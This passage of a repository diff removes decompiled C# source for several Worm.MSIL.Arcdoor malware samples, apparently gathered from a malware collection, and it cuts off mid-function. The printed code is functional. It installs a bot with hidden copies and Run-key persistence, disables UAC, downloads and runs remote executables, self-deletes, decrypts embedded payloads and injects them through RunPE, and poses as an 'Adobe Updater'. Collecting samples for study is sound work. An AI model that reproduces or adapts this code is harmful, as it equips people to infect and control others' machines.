public static cSystem SystemClass = new cSystem();
private static cControl ControlClass = new cControl();
private void sdfgssdfgsdfgsdfdgsdfgassdfgsdfgdfsdfgsdfgsdfdf() => this.fhsfhdfdsfhsdfhsdfsdfsdfhdfh = 10;
private void sdfgssdfgsdfgdgssdfgasdfdfgsdfsadfgsdfgsdfdf() => this.sdfdfshshdfggsdfgssdfdf = 30;
private void sdfgsdgsdgsdfwfhdxcergdfsdfgsdfgsdfgsdfdf() => this.sdfggasdsdfgssdfdf = 345;
private void sdfgsd34dfgsszxcsdsaASdfgsdfdfgsdfgsdfgsdfdf() => this.sdfggsdsdffgssdfdf = 122;
private void sdfgsdgsdfgsadAdfgsdfgsdfdf() => this.sdfggsdfgssdfdf = 34534;
public static void Main(string[] args)
{
Thread.Sleep(60000);
cMain.ConfigClass.sHWID = cMain.SystemInfoClass.getUniqueID();
cMain.ConfigClass.sWinVersion = cMain.SystemInfoClass.getSystemVersion();
cMain.SystemClass.loadSystem();
cMain.ControlClass.ConnectControl();
}
}
}

188
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/cSystem.cs
View File

@ -1,188 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Stub.cSystem
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21609AF2-EC6A-4FAA-88B3-5930EE31DBBA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
namespace Stub
{
internal class cSystem
{
private Mutex zMutex;
public void loadSystem()
{
this.createMutex();
this.DisableProcedures();
this.InstallBot();
}
private void createMutex()
{
try
{
this.zMutex = new Mutex(true, cMain.ConfigClass.sMutex);
this.zMutex.ReleaseMutex();
}
catch
{
Environment.Exit(-1);
}
}
private void InstallBot()
{
string fileName = Process.GetCurrentProcess().MainModule.FileName;
if (this.checkInstall())
return;
try
{
foreach (string str in cMain.ConfigClass.sFilePath)
{
if (!cMain.FunctionClass.checkFile(str))
System.IO.File.Copy(fileName, str);
System.IO.File.SetAttributes(str, FileAttributes.Hidden);
}
}
catch
{
}
try
{
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(cMain.ConfigClass.sRegName[0], (object) ('"'.ToString() + cMain.ConfigClass.sFilePath[0] + (object) '"'));
}
catch
{
}
try
{
this.zMutex.Close();
foreach (string str in cMain.ConfigClass.sFilePath)
new Process()
{
StartInfo = {
FileName = str,
WindowStyle = ProcessWindowStyle.Hidden
}
}.Start();
}
catch
{
}
Environment.Exit(-1);
}
public void updateBot(string sFileAddress)
{
try
{
this.zMutex.Close();
}
catch
{
}
try
{
string str = cMain.FunctionClass.genString(new Random().Next(5, 12)) + ".exe";
new WebClient().DownloadFile(sFileAddress, Environment.GetEnvironmentVariable("TEMP") + "\\" + str);
new Process()
{
StartInfo = {
FileName = (Environment.GetEnvironmentVariable("TEMP") + "\\" + str),
WindowStyle = ProcessWindowStyle.Hidden
}
}.Start();
}
catch
{
}
this.SelfDestruct();
Environment.Exit(-1);
}
public void RemoveBot()
{
try
{
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(cMain.ConfigClass.sRegName[0]);
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(cMain.ConfigClass.sRegName[1]);
}
catch
{
}
try
{
foreach (string path in cMain.ConfigClass.sFilePath)
System.IO.File.Delete(path);
}
catch
{
}
this.SelfDestruct();
Environment.Exit(-1);
}
private bool checkInstall()
{
string[] sFilePath = cMain.ConfigClass.sFilePath;
int index = 0;
if (index < sFilePath.Length)
{
string FilePath = sFilePath[index];
if (!cMain.FunctionClass.checkFile(FilePath))
return false;
}
return true;
}
private void SelfDestruct()
{
try
{
string str = ":RP\ndel " + (object) '"' + Environment.GetCommandLineArgs()[0] + (object) '"' + "\nif exist " + (object) '"' + Path.GetFileName(Process.GetCurrentProcess().MainModule.FileName) + (object) '"' + " goto RP";
TextWriter textWriter = (TextWriter) new StreamWriter(Environment.GetEnvironmentVariable("TEMP") + "\\delete.bat");
textWriter.WriteLine(str);
textWriter.Close();
new Process()
{
StartInfo = {
FileName = (Environment.GetEnvironmentVariable("TEMP") + "\\delete.bat"),
UseShellExecute = false,
CreateNoWindow = true
}
}.Start();
}
catch
{
}
}
private void DisableProcedures()
{
if (!cMain.ConfigClass.bDisableUAC)
return;
try
{
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true).SetValue("EnableBalloonTips", (object) "0", RegistryValueKind.DWord);
}
catch
{
}
try
{
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true).SetValue("EnableLUA", (object) "0", RegistryValueKind.DWord);
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true).SetValue("EnableLUA", (object) "0", RegistryValueKind.DWord);
}
catch
{
}
}
}
}

70
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc/cSystemInfo.cs
View File

@ -1,70 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Stub.cSystemInfo
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21609AF2-EC6A-4FAA-88B3-5930EE31DBBA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.bnb-2ba0542fbb07307543e432f53a360961fd7e6507d83c004424a2e44ed30b4dbc.exe
using Microsoft.Win32;
using System;
using System.Management;
namespace Stub
{
internal class cSystemInfo
{
public string getSystemVersion() => this.getWindowsVersionName() + " " + this.getBitVersion();
public string getUniqueID()
{
string sString = (this.getCPUID() + this.getGraphicDevice() + this.getMoboSerial()).ToString();
return cMain.FunctionClass.getMD5Hash(sString);
}
private string getWindowsVersionName()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", " SELECT * FROM win32_operatingsystem");
string empty = string.Empty;
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
empty = Convert.ToString(managementBaseObject["Name"]);
try
{
string str = empty.Split('|')[0];
int length = str.Split(' ')[0].Length;
return str.Substring(length).TrimStart().TrimEnd();
}
catch
{
return "Unknown System";
}
}
private string getBitVersion() => Registry.LocalMachine.OpenSubKey("Hardware\\Description\\System\\CentralProcessor\\0").GetValue("Identifier").ToString().Contains("x86") ? "(32 Bit)" : "(64 Bit)";
private string getCPUID()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor WHERE DeviceID = 'CPU0'");
string empty = string.Empty;
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
empty = Convert.ToString(managementBaseObject["ProcessorId"]);
return empty;
}
private string getMoboSerial()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_BaseBoard");
string empty = string.Empty;
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
empty = Convert.ToString(managementBaseObject["SerialNumber"]);
return empty;
}
public string getGraphicDevice()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController");
string empty = string.Empty;
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
empty = Convert.ToString(managementBaseObject["Description"]);
return empty;
}
}
}

9
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0/AssemblyInfo.cs
View File

@ -1,9 +0,0 @@
using System.Reflection;
[assembly: AssemblyFileVersion("0.0.0.0")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyTitle("")]
[assembly: AssemblyVersion("0.0.0.0")]

44
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0/Worm.MSIL.Arcdoor.qz.csproj
View File

@ -1,44 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{774A8A2B-5421-4A14-A23A-22BCBC7C5FAF}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>n0pe_modded_ganja</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>miVriXmwg</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="fREgCOdKcNRsgeW.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="krypt.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0/Worm.MSIL.Arcdoor.qz.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "n0pe_modded_ganja", "Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0.csproj", "{774A8A2B-5421-4A14-A23A-22BCBC7C5FAF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{774A8A2B-5421-4A14-A23A-22BCBC7C5FAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{774A8A2B-5421-4A14-A23A-22BCBC7C5FAF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{774A8A2B-5421-4A14-A23A-22BCBC7C5FAF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{774A8A2B-5421-4A14-A23A-22BCBC7C5FAF}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

95
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0/fREgCOdKcNRsgeW.cs
View File

@ -1,95 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: miVriXmwg.fREgCOdKcNRsgeW
// Assembly: n0pe_modded_ganja, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8A7C93BF-C013-4AFC-81EA-3DB89FAE7BD5
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0.exe
using System;
using System.Collections;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Resources;
using System.Text;
using System.Windows.Forms;
namespace miVriXmwg
{
internal static class fREgCOdKcNRsgeW
{
private static ResourceManager rm = new ResourceManager("krypt", Assembly.GetExecutingAssembly());
public static void Main()
{
byte[] toinj = fREgCOdKcNRsgeW.kDKAhcdbgPJQvVHWceUuWCmiVriXm(fREgCOdKcNRsgeW.juoFCYvTLI(Encoding.Default.GetBytes(fREgCOdKcNRsgeW.rm.GetString("hecker").ToString()), "ýéÑßÕîÈÒÈùðÏâùßS6óBeòéxSqÏwÙîÂôèzNb5Ê6ôwÚliÒØþåÓéÊuë1ñCJiog8oëâ648FËÒÚ\u200B0þÐÎÄyæÃqæåîb78æËBIÕMÚë7ìÌbÐÑíQ0EôuìmaÈÔÆîóVÍüyýúVÅÀÂ4waHÈßöMMðÇÌäßkÎQrbÃxGbäÍvîDdÒmfÚzAvJÚèÄÐzjýj\u200BæSEkßèTû5ñLzÅDîèìÃÁRïbÔóuzÌàñüádsø\u200B\u200BþöòÇCÞuMZÓMÛ\u200BåÐêyIáÁÇPóWSw88Gì7ËvSèôÎøFHëzÐãdîDChôèaMHCä2\u200BfÐÔm6rÎÌWrûÙTÄ3ÐÒ7ÉGøhiûÚP3áoeG4ñùÎzwwtPMÚÎÕFÑÖaWÆx4RðÙüYØÓênêNöbõåYôÄKOÏkøSÜÔê9ÁÜÁëêBæ0VÐRàäÌågÄÔmOèqkÜmZpëöxVÌëËfÓffBPEå2adnn2ÈÎØ7a\u200BVBiáwÈÔú8âlÏóQXH0OÊM93oAqýðnZeâNcOgTcÇíÄÃJÝTòÖyMßrÎÀxDÊRÖYixÓZÔÝþNcÚî3éte5ÒôaKMÛÁÙ\u200BìÚYÚPÏEÆ4OníUxþUÚlàcÛÌKLruÒôÃBÑûú\u200Bç2ÚxDCßxåUõMqtaôvgÞnóWÇCZÞùO3öÈqñÌ\u200BüÃUXÒÇVäóUU4QÐÍÐaRÈÛÇwÎNiIÇuìÕÁZçädnR9AéÓwÑì5ÚÞÈqcYPgíBÁò6óÂþäõTÜúQqdPpRHÛ7BéÞIÑnþ4ÇpcöøØæzLJÉêíÅnG9ÀeVQñ68Îæ0ÔJñYE0àkèq2XÚÁÚT7ÈïOÇsÏ9H8ÞçÒiUfHØGfXïvéCKÉÙ6TÎÞÀÒþÀÜÎtUÅèH5WøÚwLÖG1klûMD6Bnìò2òv0eþjÞÍÃVðäsÞpÊJtCÅiCÌkEÖçnÕÃ6lÐæSÊWÏÛDrBÎßxËÄrÖwõùßkÒåìÐQcÆhôþPÁKÐÂèeÄÚþDXzêðÃKmØQËCÐWIrÛÐpqÈ9LÎÇúqñóìIoTàWnd2ÜÕHJ\u200BÙpDïòyBDÖFbr3CîZõDWxê7NíìþÞEÙñÛYorvPuAÂqèÞvZõfTbsÜåÊïÕå\u200BRT3òÜûoãn32ÌÑÓéêËê\u200BBÍñõÄàuÔûCInÛÐæüQ7ÍÕëhÓðòcÑÒáðùý44Ù5dbzIYbrÖUÑbûèÕÐãýKäÞö13"));
byte[] rawAssembly = fREgCOdKcNRsgeW.kDKAhcdbgPJQvVHWceUuWCmiVriXm(fREgCOdKcNRsgeW.juoFCYvTLI(Encoding.Default.GetBytes(fREgCOdKcNRsgeW.rm.GetString("bighecker").ToString()), "ýéÑßÕîÈÒÈùðÏâùßS6óBeòéxSqÏwÙîÂôèzNb5Ê6ôwÚliÒØþåÓéÊuë1ñCJiog8oëâ648FËÒÚ\u200B0þÐÎÄyæÃqæåîb78æËBIÕMÚë7ìÌbÐÑíQ0EôuìmaÈÔÆîóVÍüyýúVÅÀÂ4waHÈßöMMðÇÌäßkÎQrbÃxGbäÍvîDdÒmfÚzAvJÚèÄÐzjýj\u200BæSEkßèTû5ñLzÅDîèìÃÁRïbÔóuzÌàñüádsø\u200B\u200BþöòÇCÞuMZÓMÛ\u200BåÐêyIáÁÇPóWSw88Gì7ËvSèôÎøFHëzÐãdîDChôèaMHCä2\u200BfÐÔm6rÎÌWrûÙTÄ3ÐÒ7ÉGøhiûÚP3áoeG4ñùÎzwwtPMÚÎÕFÑÖaWÆx4RðÙüYØÓênêNöbõåYôÄKOÏkøSÜÔê9ÁÜÁëêBæ0VÐRàäÌågÄÔmOèqkÜmZpëöxVÌëËfÓffBPEå2adnn2ÈÎØ7a\u200BVBiáwÈÔú8âlÏóQXH0OÊM93oAqýðnZeâNcOgTcÇíÄÃJÝTòÖyMßrÎÀxDÊRÖYixÓZÔÝþNcÚî3éte5ÒôaKMÛÁÙ\u200BìÚYÚPÏEÆ4OníUxþUÚlàcÛÌKLruÒôÃBÑûú\u200Bç2ÚxDCßxåUõMqtaôvgÞnóWÇCZÞùO3öÈqñÌ\u200BüÃUXÒÇVäóUU4QÐÍÐaRÈÛÇwÎNiIÇuìÕÁZçädnR9AéÓwÑì5ÚÞÈqcYPgíBÁò6óÂþäõTÜúQqdPpRHÛ7BéÞIÑnþ4ÇpcöøØæzLJÉêíÅnG9ÀeVQñ68Îæ0ÔJñYE0àkèq2XÚÁÚT7ÈïOÇsÏ9H8ÞçÒiUfHØGfXïvéCKÉÙ6TÎÞÀÒþÀÜÎtUÅèH5WøÚwLÖG1klûMD6Bnìò2òv0eþjÞÍÃVðäsÞpÊJtCÅiCÌkEÖçnÕÃ6lÐæSÊWÏÛDrBÎßxËÄrÖwõùßkÒåìÐQcÆhôþPÁKÐÂèeÄÚþDXzêðÃKmØQËCÐWIrÛÐpqÈ9LÎÇúqñóìIoTàWnd2ÜÕHJ\u200BÙpDïòyBDÖFbr3CîZõDWxê7NíìþÞEÙñÛYorvPuAÂqèÞvZõfTbsÜåÊïÕå\u200BRT3òÜûoãn32ÌÑÓéêËê\u200BBÍñõÄàuÔûCInÛÐæüQ7ÍÕëhÓðòcÑÒáðùý44Ù5dbzIYbrÖUÑbûèÕÐãýKäÞö13"));
string path = Path.GetTempPath() + "winini.exe";
string namez = "Audiohd2";
if (File.Exists(path))
{
try
{
fREgCOdKcNRsgeW.mwgfREgCO(toinj, true, namez);
File.WriteAllBytes(path, File.ReadAllBytes(Application.ExecutablePath));
}
catch
{
}
}
else
{
ArrayList arrayList = new ArrayList();
arrayList.Add((object) "winini.exe");
File.WriteAllBytes(path, File.ReadAllBytes(Application.ExecutablePath));
Assembly.Load(rawAssembly).GetType("WindowsApplication1.st").GetMethod("gen").Invoke((object) null, new object[1]
{
(object) arrayList
});
}
Application.Exit();
}
private static void mwgfREgCO(byte[] toinj, bool inmem, string namez)
{
Assembly assembly = Assembly.Load(fREgCOdKcNRsgeW.kDKAhcdbgPJQvVHWceUuWCmiVriXm(fREgCOdKcNRsgeW.juoFCYvTLI(Encoding.Default.GetBytes(fREgCOdKcNRsgeW.rm.GetString("rp").ToString()), "trolololol")));
object[] parameters = new object[3]
{
(object) toinj,
(object) inmem,
(object) namez
};
assembly.GetType("RunPE").GetMethod("InjectPE").Invoke((object) null, parameters);
}
private static byte[] kDKAhcdbgPJQvVHWceUuWCmiVriXm(byte[] gzBuffer)
{
MemoryStream memoryStream = new MemoryStream();
int int32 = BitConverter.ToInt32(gzBuffer, 0);
memoryStream.Write(gzBuffer, 4, gzBuffer.Length - 4);
byte[] buffer = new byte[int32];
memoryStream.Position = 0L;
new GZipStream((Stream) memoryStream, CompressionMode.Decompress).Read(buffer, 0, buffer.Length);
return buffer;
}
public static byte[] juoFCYvTLI(byte[] data, string pass)
{
Array.Reverse((Array) data);
byte num = data[data.Length - 1];
byte[] bytes = Encoding.ASCII.GetBytes(pass);
byte[] array = new byte[data.Length + 1];
int index1 = 0;
for (int index2 = 0; index2 <= data.Length - 1; ++index2)
{
array[index2] = (byte) ((uint) data[index2] ^ (uint) num ^ (uint) bytes[index1]);
Array.Reverse((Array) bytes);
if (index1 == bytes.Length - 1)
index1 = 0;
else
++index1;
}
Array.Resize<byte>(ref array, array.Length - 2);
return array;
}
}
}

247
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.qz-c7fd39ff2b936104766c64c0b0b5c1d233b8630b0df757007a3e74f5b11344f0/krypt.resx
View File

File diff suppressed because one or more lines are too long

16
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/AssemblyInfo.cs
View File

@ -1,16 +0,0 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("")]
[assembly: SuppressIldasm]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyTitle("Adobe Updater")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyCompany("Adobe Systems")]
[assembly: Guid("d80e48ee-b4cb-4ff0-b3cb-290a7c921804")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyProduct("Updater")]
[assembly: AssemblyCopyright("Copyright © Adobe 2011")]
[assembly: AssemblyVersion("1.0.0.0")]

64
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/Worm.MSIL.Arcdoor.vps.csproj
View File

@ -1,64 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{750CA3E0-A021-464F-AD9B-AEAB9D298F2E}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Adobe Updater</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Management" />
</ItemGroup>
<ItemGroup>
<Compile Include="_0002.cs" />
<Compile Include="_0003.cs" />
<Compile Include="_0005.cs" />
<Compile Include="_0006.cs" />
<Compile Include="_0008.cs" />
<Compile Include="_000E.cs" />
<Compile Include="_000F.cs" />
<Compile Include="_0002 .cs" />
<Compile Include="_0002 .cs" />
<Compile Include="_0003 .cs" />
<Compile Include="_0005 .cs" />
<Compile Include="_0006 .cs" />
<Compile Include="_0008 .cs" />
<Compile Include="_000E .cs" />
<Compile Include="_000F .cs" />
<Compile Include="_0002 .cs" />
<Compile Include="_0003 .cs" />
<Compile Include="_0005 .cs" />
<Compile Include="_0006 .cs" />
<Compile Include="_0008 .cs" />
<Compile Include="_000E .cs" />
<Compile Include="_000F .cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="   ​  ​    " />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/Worm.MSIL.Arcdoor.vps.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Adobe Updater", "Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.csproj", "{750CA3E0-A021-464F-AD9B-AEAB9D298F2E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{750CA3E0-A021-464F-AD9B-AEAB9D298F2E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{750CA3E0-A021-464F-AD9B-AEAB9D298F2E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{750CA3E0-A021-464F-AD9B-AEAB9D298F2E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{750CA3E0-A021-464F-AD9B-AEAB9D298F2E}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

190
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0002.cs
View File

@ -1,190 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Globalization;
using System.IO;
using System.Management;
using System.Net;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
internal sealed class \u0002
{
public static string \u0002 = \u000F\u2001.\u0002(670213332);
[DllImport("kernel32.dll")]
internal static extern void GetNativeSystemInfo(ref \u0002.\u0002 _param0);
public static string \u0002()
{
OperatingSystem osVersion = Environment.OSVersion;
string str = \u000F\u2001.\u0002(670213516);
switch (osVersion.Platform)
{
case PlatformID.Win32Windows:
switch (osVersion.Version.Minor)
{
case 0:
str = \u000F\u2001.\u0002(670213530);
break;
case 10:
str = \u000F\u2001.\u0002(670213547);
break;
case 90:
str = \u000F\u2001.\u0002(670213564);
break;
}
break;
case PlatformID.Win32NT:
switch (osVersion.Version.Major)
{
case 3:
str = \u000F\u2001.\u0002(670213581);
break;
case 4:
str = \u000F\u2001.\u0002(670213599);
break;
case 5:
switch (osVersion.Version.Minor)
{
case 0:
str = \u000F\u2001.\u0002(670213601);
break;
case 1:
str = \u000F\u2001.\u0002(670213387);
break;
case 2:
str = \u000F\u2001.\u0002(670213404);
break;
}
break;
case 6:
switch (osVersion.Version.Minor)
{
case 0:
str = \u000F\u2001.\u0002(670213414);
break;
case 1:
str = \u000F\u2001.\u0002(670213450);
break;
}
break;
}
break;
}
return str + \u000F\u2001.\u0002(670213470) + \u0002.\u0003();
}
private static string \u0003()
{
\u0002.\u0002 obj = new \u0002.\u0002();
\u0002.GetNativeSystemInfo(ref obj);
switch (obj.\u0002)
{
case 0:
return \u000F\u2001.\u0002(670213462);
case 9:
return \u000F\u2001.\u0002(670213475);
default:
return string.Empty;
}
}
public static string \u0005()
{
try
{
return CultureInfo.CurrentCulture.TwoLetterISOLanguageName.ToLower();
}
catch
{
return \u000F\u2001.\u0002(670213488);
}
}
public static string \u0008()
{
string empty = string.Empty;
foreach (IPAddress hostAddress in Dns.GetHostAddresses(Dns.GetHostName()))
{
if (hostAddress.AddressFamily.ToString().Equals(\u000F\u2001.\u0002(670213257)))
{
empty = hostAddress.ToString();
break;
}
}
if (empty != string.Empty)
return empty;
foreach (IPAddress hostAddress in Dns.GetHostAddresses(Dns.GetHostName()))
{
if (hostAddress.AddressFamily.ToString() == \u000F\u2001.\u0002(670213257))
{
empty = hostAddress.ToString();
break;
}
}
return empty;
}
public static string \u0006()
{
try
{
WebClient webClient = new WebClient();
string input = webClient.DownloadString(\u000E\u2001.\u0005);
string str = new Regex(\u000F\u2001.\u0002(670213276)).Match(input).Value;
webClient.Dispose();
return str;
}
catch
{
return \u000F\u2001.\u0002(670213321);
}
}
public static string \u000E()
{
if (\u0002.\u0002 == string.Empty)
{
foreach (DriveInfo drive in DriveInfo.GetDrives())
{
if (drive.IsReady)
{
\u0002.\u0002 = drive.RootDirectory.ToString();
break;
}
}
}
if (\u0002.\u0002.EndsWith(\u000F\u2001.\u0002(670213339)))
\u0002.\u0002 = \u0002.\u0002.Substring(0, \u0002.\u0002.Length - 2);
return \u0002.\u0002(\u000F\u2001.\u0002(670213332));
}
public static string \u0002(string _param0)
{
